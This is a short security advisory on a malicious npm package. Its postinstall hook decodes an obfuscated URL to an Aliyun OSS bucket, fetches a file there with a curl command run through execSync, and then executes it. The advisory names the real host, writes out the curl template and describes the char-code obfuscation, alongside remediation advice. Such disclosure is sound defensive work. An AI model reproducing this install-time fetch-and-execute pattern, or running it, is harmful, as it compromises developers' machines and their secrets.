If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (495a71c4dcddec545026181c7faeef59cf4c79b4816a148fb88c59c5465e8c97)
On npm install, the package's postinstall hook runs index.js, which reconstructs a URL from a char-code array (String.fromCharCode.apply on a numeric literal array with _0x-prefixed identifiers) resolving to https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js. It shells out via execSync to `curl -sL -o ".cache" "<url>"`, then require()s the downloaded file and deletes it. The destination URL, the filename, and the curl command string are all obfuscated via char-code reconstruction to hide the network destination from source inspection. The remote content is attacker-mutable (an Aliyun OSS bucket) and is executed inside the installing Node process on every install. Package metadata is placeholder-level with no legitimate declared purpose that would justify fetching and executing remote code at install time.